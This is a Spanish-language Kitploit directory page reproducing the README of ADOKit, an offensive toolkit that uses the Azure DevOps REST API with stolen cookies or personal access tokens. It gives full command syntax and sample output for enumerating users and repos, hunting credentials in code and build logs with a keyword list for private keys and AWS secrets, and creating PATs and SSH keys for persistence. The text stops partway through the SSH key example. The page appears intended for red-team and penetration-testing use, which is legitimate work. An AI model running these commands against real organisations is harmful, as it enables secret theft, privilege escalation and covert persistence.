Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ADOKit — Kit de ataque modular que explota la API REST de Azure DevOps para reconocimiento, escalada de privilegios y persistencia utilizando cookies robadas o PATs. | Kitploit
Herramientas/GitHubGitHub/h4wkst3r/adokit
Escalada de PrivilegiosReconocimientoMecanismos de PersistenciaPruebas de PenetraciónSeguridad en la NubeRed Teaming
GitHubh4wkst3r/adokit

ADOKit

Kit de ataque modular que explota la API REST de Azure DevOps para reconocimiento, escalada de privilegios y persistencia utilizando cookies robadas o PATs.

Ver Repositorio
15564hace 25 díasRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ADOKit

Description

Azure DevOps Services Attack Toolkit - ADOKit es un conjunto de herramientas que se puede utilizar para atacar servicios de Azure DevOps aprovechando la API REST disponible. La herramienta permite al usuario especificar un módulo de ataque, junto con credenciales válidas (clave API o cookie de autenticación robada) para la instancia correspondiente de Azure DevOps Services. Los módulos de ataque compatibles incluyen reconocimiento, escalada de privilegios y persistencia. ADOKit se construyó con un enfoque modular, de modo que nuevos módulos puedan ser añadidos en el futuro por la comunidad de seguridad de la información.

Los detalles completos sobre las técnicas utilizadas por ADOKit se encuentran en el whitepaper de X-Force Red.

Black Hat USA Arsenal 2024

Las diapositivas de presentación y las demostraciones se incluyen en la carpeta BHUSA Arsenal 2024 de este repositorio.

Release

  • La versión 1.4.1 de ADOKit se encuentra en Releases

Table of Contents

  • ADOKit
  • Table of Contents
  • Installation/Building
    • Libraries Used
    • Pre-Compiled
    • Building Yourself
  • Command Modules
  • Arguments/Options
  • Authentication Options
  • Module Details Table
  • Examples
    • Recon
      • Validate Azure DevOps Access
      • Whoami
      • List Orgs
      • List Repos
      • Search Repos
      • List Projects
      • Search Projects
      • Search Code
      • Search Files
      • List Users
      • Search User
      • List Teams
      • Search Team
      • Get Team Members
      • List Groups
      • Search Groups
      • Get Group Members
      • Get Project Permissions
      • Creds Search
      • Get Build Logs
      • List Build Logs
      • Search Build Logs
    • Persistence
      • Create PAT
      • List PATs
      • Remove PAT
      • Create SSH Key
      • List SSH Keys
      • Remove SSH Key
    • Privilege Escalation
      • Add Project Admin
      • Remove Project Admin
      • Add Build Admin
      • Remove Build Admin
      • Add Collection Admin
      • Remove Collection Admin
      • Add Collection Build Admin
      • Remove Collection Build Admin
      • Add Collection Build Service Account
      • Remove Collection Build Service Account
      • Add Collection Service Account
  • Detection
  • Roadmap
  • References

Installation/Building

Libraries Used

Las siguientes bibliotecas de terceros se utilizan en este proyecto.

LibraryURLLicense
Fodyhttps://github.com/Fody/FodyMIT License
Newtonsoft.Jsonhttps://github.com/JamesNK/Newtonsoft.JsonMIT License

Pre-Compiled

  • Utilice el binario precompilado en Releases

Building Yourself

Siga los pasos a continuación para configurar Visual Studio y compilar el proyecto usted mismo. Esto requiere dos bibliotecas .NET que se pueden instalar desde el administrador de paquetes NuGet.

  • Cargue el proyecto de Visual Studio y vaya a "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
  • Vaya a "NuGet Package Manager" --> "Package Sources"
  • Agregue una fuente de paquete con la URL https://api.nuget.org/v3/index.json
  • Instale el paquete NuGet Costura.Fody.
    • Install-Package Costura.Fody -Version 3.3.3
  • Instale el paquete Newtonsoft.Json
    • Install-Package Newtonsoft.Json
  • ¡Ahora puede compilar el proyecto usted mismo!

Command Modules

  • Recon
    • check - Verifica si la organización utiliza Azure DevOps y si las credenciales son válidas
    • whoami - Muestra el usuario actual y sus pertenencias a grupos
    • listorgs - Lista las organizaciones accesibles o todas dentro de Azure DevOps
    • listrepo - Lista todos los repositorios
    • searchrepo - Busca un repositorio específico
    • listproject - Lista todos los proyectos
    • searchproject - Busca un proyecto específico
    • searchcode - Busca código que contenga un término de búsqueda
    • searchfile - Busca archivos basados en un término de búsqueda
    • listuser - Lista usuarios
    • searchuser - Busca un usuario específico
    • listteam - Lista equipos
    • searchteam - Busca un equipo específico
    • getteammembers - Obtiene los miembros de un equipo específico
    • listgroup - Lista grupos
    • searchgroup - Busca un grupo específico
    • getgroupmembers - Lista todos los miembros de un grupo específico
    • getpermissions - Obtiene los permisos de quién tiene acceso a un proyecto específico
    • creds - Busca credenciales en el código (palabras clave listadas a continuación)
      • "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"
    • getbuildlogs - Descarga los registros de compilación de uno o todos los proyectos
    • listbuildlogs - Lista los registros de compilación de uno o todos los proyectos
    • searchbuildlogs - Busca en los registros de compilación un término de búsqueda específico
  • Persistence

Arguments/Options

  • /credential: - credencial para autenticación (PAT o Cookie). Aplicable a todos los módulos.
  • /url: - URL de Azure DevOps. Aplicable a todos los módulos.
  • /search: - Palabra clave a buscar. No aplicable a todos los módulos.
  • /project: - Proyecto para el cual realizar una acción. No aplicable a todos los módulos.
  • /user: - Realizar una acción contra un usuario específico. No aplicable a todos los módulos.
  • /id: - Utilizado con módulos de persistencia para realizar una acción contra un ID de token específico. No aplicable a todos los módulos.
  • /group: - Realizar una acción contra un grupo específico. No aplicable a todos los módulos.

Authentication Options

A continuación se presentan las opciones de autenticación disponibles con ADOKit al autenticarse en una instancia de Azure DevOps.

  • Stolen Cookie - UserAuthentication - Esta será la cookie UserAuthentication en la máquina de un usuario para el dominio .dev.azure.com.
    • /credential:UserAuthentication=ABC123
  • Stolen Cookie - AadAuthentication - Esta será la cookie AadAuthentication en la máquina de un usuario para el dominio .dev.azure.com.
    • /credential:eyJ0...
  • Personal Access Token (PAT) - Será un token de acceso/clave API que será una sola cadena.
    • /credential:apiToken
  • Stolen Access Token - Si puedes robar o renovar un token de acceso adecuado, también puedes usarlo. Al usar un token de acceso, debe ser válido para el recurso de Azure Resource Manager (ARM) - "aud":"https://management.core.windows.net/" o Azure Devops - "aud":"499b84ac-1321-427f-aa17-267ca6975798"
    • /credential:eyJ0..

Module Details Table

La siguiente tabla muestra los permisos requeridos para cada módulo.

Examples

Validate Azure DevOps Access

Use Case

Realizar una verificación de autenticación para asegurar que la organización utiliza Azure DevOps y que las credenciales proporcionadas son válidas.

Syntax

Proporcione el módulo check, junto con cualquier información de autenticación relevante y la URL. Esto mostrará si la organización proporcionada utiliza Azure DevOps y, de ser así, intentará validar las credenciales proporcionadas.

ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output```

C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/28/2023 3:33:01 PM

[*] INFO: Checking if organization provided uses Azure DevOps

[+] SUCCESS: Organization provided exists in Azure DevOps

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

3/28/23 19:33:02 Finished execution of check

root@kitploit:~
### Whoami

#### Caso de Uso

> *Obtener el usuario actual y las membresías de grupo del usuario*

#### Sintaxis

Proporcione el módulo `whoami`, junto con cualquier información de autenticación relevante y URL. Esto mostrará el usuario actual y todas sus membresías de grupo.

`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Salida de Ejemplo```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization

==================================================
Module:         whoami
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 11:33:12 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                          jsmith |                                        John Smith |          [email protected]


[*] INFO: Listing group memberships for the current user


                                                             Group UPN |                                       Display Name |                                        Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    [YourOrganization]\Project Collection Test Service Accounts |           Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
                                           [TestProject2]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                                           [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [YourOrganization]\Project Collection Administrators |                  Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.

4/4/23 15:33:19 Finished execution of whoami

Listar Organizaciones

Caso de Uso

Recuperar organizaciones usando un token de acceso determinado.

Sintaxis

Proporcione al módulo listorgs la información de autenticación requerida. De forma predeterminada, este comando enumera solo las organizaciones accesibles con el token de acceso proporcionado.

  • Use /mode:aad para enumerar todas las organizaciones de DevOps dentro del inquilino de Azure AD, independientemente del acceso directo.
  • Use /endpoint:ENDPOINT_NAME para especificar un endpoint AEX personalizado.
    • Se pueden identificar endpoints adicionales inspeccionando la cookie "X-VSS-DeploymentAffinity" de aex.dev.azure.com.

ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]

ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21

Ejemplo de Salida```

C:>ADOKit.exe listorgs /credential:"eyj0..."

================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com

Timestamp: 3/14/2025 2:26:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                     Organization ID |                        Organization Name

root@kitploit:~
390a7474-e2f2-4b98-b538-4a547fa9f5e3 |                             solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e |                             lunar-devops
root@kitploit:~
### Listar Repositorios

#### Caso de Uso

> *Descubrir repositorios que se están utilizando en la instancia de Azure DevOps*

#### Sintaxis

Proporcione el módulo `listrepo`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre del repositorio y su URL.

`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Ejemplo de Salida```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listrepo
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 8:41:50 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                  MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
                 SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
                   AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
      ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 12:41:53 Finished execution of listrepo

Search Repos

Caso de uso

Buscar repositorios por nombre de repositorio en instancia de Azure DevOps

Sintaxis

Proporcione el módulo searchrepo y sus criterios de búsqueda en el argumento de línea de comandos /search:, junto con cualquier información de autenticación relevante y URL. Esto generará el nombre y la URL del repositorio coincidente.

ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Ejemplo de salida```

C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 9:26:57 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |                                                URL

root@kitploit:~
              TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
               TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 13:26:59 Finished execution of searchrepo

root@kitploit:~
### Listar Proyectos

#### Caso de uso

> *Descubrir proyectos que se están utilizando en la instancia de Azure DevOps*

#### Sintaxis

Proporcione el módulo `listproject`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre del proyecto, la visibilidad (pública o privada) y la URL.

`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Ejemplo de salida```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listproject
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:44:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  TestProject2 |         private | https://dev.azure.com/YourOrganization/TestProject2
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap
      ProjectWithMultipleRepos |         private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
                   TestProject |         private | https://dev.azure.com/YourOrganization/TestProject

4/4/23 11:45:04 Finished execution of listproject

Buscar Proyectos

Caso de Uso

Buscar proyectos por nombre en la instancia de Azure DevOps

Sintaxis

Proporcione el módulo searchproject y su criterio de búsqueda en el argumento de línea de comandos /search:, junto con cualquier información de autenticación y URL relevante. Esto mostrará el nombre del proyecto coincidente, la visibilidad (pública o privada) y la URL.

ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Ejemplo de Salida```

C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"

================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 7:45:30 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |      Visibility |                                                URL

root@kitploit:~
              MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap

4/4/23 11:45:31 Finished execution of searchproject

root@kitploit:~
### Buscar Código

#### Caso de Uso

> *Buscar código que contenga una palabra clave determinada en una instancia de Azure DevOps*

#### Sintaxis

Proporcione el módulo `searchcode` y su criterio de búsqueda en el argumento de línea de comando `/search:`, junto con cualquier información de autenticación relevante y la URL. Esto generará la URL al archivo de código coincidente, junto con la línea del código que coincidió.

`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`

`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`

#### Ejemplo de Salida```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"

==================================================
Module:         searchcode
Auth Type:      Cookie
Search Term:    password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 3:22:21 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[*] Match count : 3

3/29/23 19:22:22 Finished execution of searchcode

Buscar Archivos

Caso de Uso

Buscar archivos en repositorios que contengan una palabra clave específica en el nombre del archivo en Azure DevOps

Sintaxis

Proporcione el módulo searchfile y sus criterios de búsqueda en el argumento de línea de comandos /search:, junto con cualquier información de autenticación relevante y la URL. Esto generará la URL del archivo coincidente en su repositorio correspondiente.

ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline

ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline

Ejemplo de Salida```

C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 11:28:34 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                                                        File URL

https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs

3/29/23 15:28:37 Finished execution of searchfile

root@kitploit:~
### Búsqueda de credenciales

#### Caso de uso

> *Buscar código que contenga secretos como contraseñas o claves API en Azure DevOps*

#### Sintaxis

Proporcione el módulo `creds`, junto con cualquier información de autenticación relevante y la URL. Esto generará la URL del archivo coincidente en su respectivo repositorio, y la(s) línea(s) coincidente(s) donde están presentes las credenciales.

`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Ejemplo de salida```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         creds
Auth Type:      Cookie
Search Term:    pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/30/2023 10:17:49 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ API_KEY=ABC123

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
    |_ Password: ItIsSuperSecret!

[*] Match count : 5

3/30/23 14:17:54 Finished execution of creds

Obtener registros de compilación

Caso de uso

Descargue los registros de todas las ejecuciones de canalización (registros de compilación). Luego podrá buscar información y/o secretos sin conexión.

Sintaxis

Proporcione el módulo getbuildlogs junto con /project: para un proyecto específico con el fin de descargar todos los registros de compilación de ese proyecto. Si desea descargarlos para todos los proyectos, especifique all en el argumento /project:. Esto creará una carpeta con el nombre ADOKit-[8 caracteres aleatorios] en su directorio de trabajo actual para descargar los registros.

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"

Ejemplo de salida```

C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 8:15:27 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ

[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ

root@kitploit:~
### Listar Registros de Compilación

#### Caso de Uso

> *Lista los registros de compilación disponibles para un proyecto específico o para todos los proyectos.*

#### Sintaxis

Proporcione el módulo `listbuildlogs` junto con un `/project:` para un proyecto específico para listar todos los registros de compilación de ese proyecto. Si desea listarlos para todos los proyectos, especifique `all` en el argumento `/project:`.

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`

#### Salida de Ejemplo```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

==================================================
Module:         listbuildlogs
Auth Type:      API Key
Project:        TestProject2
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 8:14:57 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

  Build ID |                     Build Name |   Num Logs |                                                URL
-------------------------------------------------------------------------------------------------------------
        94 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
        92 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
        64 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64

Buscar registros de compilación

Caso de uso

Buscar registros de compilación que contengan una palabra clave determinada en una instancia de Azure DevOps

Sintaxis

Proporcione el módulo searchbuildlogs y sus criterios de búsqueda en el argumento de línea de comandos /search:, junto con un /project: para un proyecto determinado, a fin de buscar todos los registros de compilación de este proyecto. Si desea buscar registros de compilación para todos los proyectos, especifique all en el argumento /project:. Esto generará la URL al archivo de registro de salida de compilación coincidente, junto con la línea del registro de compilación que coincidió.

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

Ejemplo de salida```

C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"

================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:06:20 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Searching build logs

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1

-----------SNIP-----------

[*] Match count : 9

root@kitploit:~
### Crear PAT

#### Caso de uso

> *Crear un token de acceso personal (PAT) para un usuario que pueda ser utilizado para persistencia en una instancia de Azure DevOps.*

#### Sintaxis

Proporcione el módulo `createpat`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el ID del PAT, nombre, alcance, fecha de validez y contenido del token del PAT creado. El nombre del PAT creado será `ADOKit-` seguido de una cadena aleatoria de 8 caracteres. La fecha de validez del PAT será 1 año a partir de la fecha de creación, ya que es el máximo permitido por Azure DevOps.

`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Ejemplo de salida```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         createpat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/31/2023 2:33:09 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                  PAT ID |                           Name |                          Scope |                    Valid Until |                                        Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM | tokenValueWouldBeHere

3/31/23 18:33:10 Finished execution of createpat

Listar PATs

Caso de uso

Lista todos los tokens de acceso personal (PATs) para un usuario determinado en una instancia de Azure DevOps.

Sintaxis

Proporcione el módulo listpat, junto con cualquier información de autenticación relevante y la URL. Esto generará el ID del PAT, nombre, alcance y fecha de validez de todos los PAT activos para el usuario.

ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Ejemplo de salida```

C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/31/2023 2:33:17 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                              PAT ID |                           Name |                          Scope |                    Valid Until

root@kitploit:~
9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM

3/31/23 18:33:18 Finished execution of listpat

root@kitploit:~
### Eliminar PAT

#### Caso de Uso

> *Eliminar un PAT para un usuario determinado en una instancia de Azure DevOps.*

#### Sintaxis

Proporcione el módulo `removepat`, junto con cualquier información de autenticación relevante y la URL. Adicionalmente, proporcione el ID del PAT en el argumento `/id:`. Esto mostrará si el PAT fue eliminado o no, y luego listará los PAT activos actuales para el usuario después de realizar la eliminación.

`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`

`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`

#### Ejemplo de Salida```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298

==================================================
Module:         removepat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:04:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.

                                  PAT ID |                           Name |                          Scope |                    Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
    9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM

4/3/23 15:05:00 Finished execution of removepat

Crear Clave SSH

Caso de Uso

Crear una clave SSH para un usuario que pueda usarse para persistencia en una instancia de Azure DevOps.

Sintaxis

Proporcione el módulo createsshkey, junto con cualquier información de autenticación relevante y la URL. Además, proporcione su clave SSH pública en el argumento /sshkey:. Esto mostrará el ID de la clave SSH, nombre, ámbito, fecha de validez y los últimos 20 caracteres de la clave SSH pública para la clave SSH creada. El nombre de la clave SSH creada será ADOKit- seguido de una cadena aleatoria de 8 caracteres. La fecha de validez de la clave SSH será 1 año a partir de la fecha de creación, ya que es el máximo que permite Azure DevOps.

ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"

Ejemplo de Salida```

C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"

